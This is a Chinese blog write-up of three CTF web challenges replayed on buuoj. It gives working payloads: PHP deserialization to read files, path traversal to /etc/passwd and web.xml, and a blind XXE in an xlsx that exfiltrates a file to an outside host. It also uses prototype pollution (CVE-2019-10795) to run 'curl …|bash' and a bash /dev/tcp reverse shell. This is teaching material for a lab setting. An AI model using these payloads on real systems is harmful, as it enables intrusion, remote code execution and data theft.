网鼑杯青龙组三道web题目复现

最新推荐文章于 2022-09-03 16:38:57 发布

0ne_

最新推荐文章于 2022-09-03 16:38:57 发布

阅读量853

点赞数

分类专栏： ctf-wp

本文链接：https://blog.csdn.net/weixin_43784056/article/details/106099498

版权

ctf-wp 专栏收录该内容

9 篇文章 1 订阅

订阅专栏

题目：AreUSerialz

打开题目就可以看到源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这题主要是考察反序列化，只做出来了前半部分，用的相对路径，在本地是可以成功的，因为没有做限制，但是做题的时候是空白的，以为注释了，因为以前也遇到过，但是F12源码也看了，都没有，然后在这里就卡死了，但是这里复现的时候又可以看到，还是记录一下获得绝对路径的方法，下面是我的payload

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

其实这个复现的环境就可以读到flag.php文件内容了

现在记录一下找网站的绝对路径的方法，当路径不是常规的/var/www，/var/www/html的时候

通过读取cmdline得到配置文件，再通过读配置文件去找绝对路径，但是这个复现环境结果不一样，所以没成功

O:11:%22FileHandler%22:3:{S:5:%22\00*\00op%22;i:2;S:11:%22\00*\00filename%22;s:18:%22/proc/self/cmdline%22;S:10:%22\00*\00content%22;N;}

题目：filejava

打开题目是个上传界面，上传个图片，得到个下载链接，这个url格式，想到任意文件下载

发现能够成功得到/etc/passwd文件

读取WEB-XML

/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

然后复现环境和题目环境是不一样的，所以路径不一样，这里写一下我找路径的方法，我是先包含了个目录，然后报500错误，得到信息

拿到Unicode在线网站解码一下

所以得到新的路径

../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

成功得到文件内容

根据xml中的<servlet-class>把对应class都下载下来，然后反编译得到源码

下载文件的原理：https://www.runoob.com/servlet/servlet-packaging.html

../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

然后在UploadServlet.java中发现关键代码

if ((filename.startsWith("excel-")) && ("xlsx".equals(fileExtName))) {
              try
              {
                Workbook wb1 = WorkbookFactory.create(in);
                Sheet sheet = wb1.getSheetAt(0);
                System.out.println(sheet.getFirstRowNum());
              }
              catch (InvalidFormatException e)
              {
                System.err.println("poi-ooxml-3.10 has something wrong");
                e.printStackTrace();
              }
            }

Excel的blind-xxe

现在本地新建一个xlsx文件，修改后缀名为zip，解压缩将[Content-Types].xml内容改成下面这个，然后重新压缩改成xlsx，文件名必须是excel-开头，xlsx文件名后缀，这是之前框起来的if语句

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.74.32/chounana.dtd">
%remote;%int;%send;
]>

在公网服务器下面部署一个dtd文件，但是buuoj是内网，不能访问外网（这里卡了好久，然后搜索了一下，在buuoj的FAQ里面有提到），在buuoj上面开一个靶机作为服务器，然后部署一个chounana.dtd文件，内容如下

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.74.32:2333?%file;'>">

服务器监听2333端口，命令

nc -lvvp 2333

上传文件，成功拿到flag

题目：notes

考点：CVE-2019-10795 undefsafe原型链污染

题目有个附件，给了源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

undefsafe的原型链污染参考：https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

来到edit_note后post提交如下payload：

id=__proto__.abc&author=curl%20http://174.1.74.32/shell.txt|bash&raw=a

shell.txt文件内容就是一个反弹shell命令

bash -i >& /dev/tcp/174.1.74.32/2333 0>&1

然后访问/status，成功反弹shell，最后查看根目录下的flag

复现平台：https://buuoj.cn/

参考博客：https://www.gem-love.com/websecurity/2322.htm

0ne_

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
网鼑杯青龙组三道web题目复现

复现平台：https://buuoj.cn/参考博客：https://www.gem-love.com/websecurity/2322.html题目：AreUSerialz打开题目就可以看到源码<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content;
复制链接

扫一扫

专栏目录